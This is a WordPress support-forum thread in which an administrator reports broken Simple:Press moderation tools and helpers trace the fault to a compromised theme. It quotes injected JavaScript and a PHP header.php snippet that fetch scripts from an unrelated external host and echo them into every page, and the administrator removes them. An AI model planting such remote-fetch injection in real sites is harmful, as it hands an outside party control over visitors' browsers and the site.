Support Forum

Unable to delete/move topic and posts

KS Karthik Subramanian
Karthik Subramanian
Member

Hi there,

 

I just installed your forum plugin to my WordPress site and I’ve set the theme to “black-gold”.  I’ve tried testing the features and I can’t seem to be able to trigger anything on the “Toolset” icon located on the far left of the post.  Whenever I click on the icon, nothing happens. What I’ve noticed is that when I hover over the icon it shows a pointer to a “javascript:void(null)” function.

 

Is there something I’m missing or is it a code-related error? If not, is there an alternative to deleting/moving a topic or post?  I am the administrator of the forum.

 

My forum: http://www.chokinghazard-guild.com/wordpress/?page_id=19

 

Cheers.

17 Answers

New Answer

YS Yellow Swordfish
Yellow Swordfish
Member

Does the term ‘wau’ mean anything to you? Plugin perhaps?
If t does can you try deactivating it?

KS Karthik Subramanian
Karthik Subramanian
Member

Yellow Swordfish said
Does the term ‘wau’ mean anything to you? Plugin perhaps?
If t does can you try deactivating it?

Not sure what ‘wau’ means, to be honest. There aren’t any plugins that are activated other than simple:press.  Could it be something with the website theme?

MP Mr Papa
Mr Papa
Member

Andy asked if you knew what ‘wau’ was because there seems to be a plugin or theme doing improper things… it is inserting code that is hard loading jquery from another server… it appears to be conflicting with the jquery that comes with wp…  this is the inserted code, maybe you will recognize it:

<script type="text/javascript"> 
if(!document.referrer || document.referrer == '') { 
    document.write('<scr'+'ipt type="text/javascript" src="http://www.4llw4d.freefilesblog.com/jquery.min.js"></scr'+'ipt>'); } 
else { document.write('<scr'+'ipt type="text/javascript" src="http://www.4llw4d.freefilesblog.com/jquery.js"></scr'+'ipt>'); } 
</script> 
<script>
var _wau = _wau || []; 
_wau.push(["tab", "oyh4xtc1j9zo", "ipr", "left-middle"]);
(function() { var s=document.createElement("script"); 
s.async=true; 
s.src="http://widgets.amung.us/tab.js";
document.getElementsByTagName("head")[0].appendChild(s);})();
</script>
<script>
</script>

That is not the correct way to load js or jquery…  Please see: 

http://codex.simple-press.com/codex/faq/troubleshooting/what-is-this-jquery-conflict/

http://codex.wordpress.org/Function_Reference/wp_enqueue_script

so if we can figure out its a theme or plugin doing it, we can help fix it..

KS Karthik Subramanian
Karthik Subramanian
Member

It’s probably the general word press theme.  Is there any way of pinpointing which file is holding that piece of code? It seems to be redirecting it through an external address which has no relevance to my site.

KS Karthik Subramanian
Karthik Subramanian
Member

I removed this piece of injected code from header.php:

 

<?php
if(function_exists(‘curl_init’))
{
 $url = “http://www.4llw4d.freefilesblog.com/jquery-1.6.3.min.js”;
 $ch = curl_init();  
 $timeout = 5;  
 curl_setopt($ch,CURLOPT_URL,$url);
 curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
 curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$timeout);
 $data = curl_exec($ch);  
 curl_close($ch);
 echo “$data”;
}
?>

 

but still exhibits the same issue.

MP Mr Papa
Mr Papa
Member

I can confirm its gone… I would find that kind of code unacceptable to me…  they could do whatever they wanted to your site…

so, did you clear your browser cache before trying and then reload the page?

I dont see any obvious js issues, but then I cannot try the forum tools as guest…  if you wanted to create a temp account with enough permissions to use the forum tools (ie edit any post) and PM myself and yellow swordfish the details, we can take a closer look…

MP Mr Papa
Mr Papa
Member

sheesh. some theme authors just dont get it. wink

the theme is also loading an old version of jquery ui and even renamed the file…  so of course it conflicts with the version that ships with wp… 

so you need to find where its doing the following:

<script type=’text/javascript’ src=’http://www.chokinghazard-guild.com/wordpress/wp-content/themes/iblogpro4_dev/core/js/jquery-ui.custom.js?ver=1.0′></script>

will typically be in functions.php, header.php or maybe footer.php (since its in the footer)… 

I would go ahead and let the theme do its bad thing on non forum page because no telling what this outdated theme might be expecting…  so lets try changing it to:

<?php
if (!sp_is_forumpage()) {
    echo "<script type='text/javascript' src='http://www.chokinghazard-guild.com/wordpress/wp-content/themes/iblogpro4_dev/core/js/jquery-ui.custom.js?ver=1.0'></script>";
}
?>
KS Karthik Subramanian
Karthik Subramanian
Member

Hmm, I’m not exactly sure where that line of code is.  I’ve noticed that there is a function called wp_footer() in footer.php that is being called that triggers all the javascript for the plugins – namely in my case, iblog4 and simple:press. When removed, none of the javascript for either of them are triggered, as there is also a javascript call from simple:press.

 

<script src=”http://www.chokinghazard-guild.com/wordpress/wp-content/plugins/simple-press/forum/editor/sp-text-editor.js?ver=3.3.1″ type=”text/javascript”>

 

Where is the above code located? The same script could be in the same file?

YS Yellow Swordfish
Yellow Swordfish
Member

Well you need to find the call that loads the script for the this ‘jquery-ui.custom.js’ file.

Most commonly it would either be as a ‘script’ tag in the theme header.php file or as part of a function call in the theme’s functions.php file. More rarely it is in neither and then it has to be hunted down!

If you are unable to find it at all, then you can always resort to zipping up your wp theme folder and sending it to us and we can try and locate it for you.

KS Karthik Subramanian
Karthik Subramanian
Member

Cheers Swordfish.  I’ve been literally trying all day (whenever I had free time during work :P) to find the code snippet but couldn’t. To what e-mail do I send the zip file to? 

YS Yellow Swordfish
Yellow Swordfish
Member

you can use support at simple-press dot com

KS Karthik Subramanian
Karthik Subramanian
Member

Yellow Swordfish said
you can use support at simple-press dot com

The zip file is sent. Thanks again guys, much appreciated.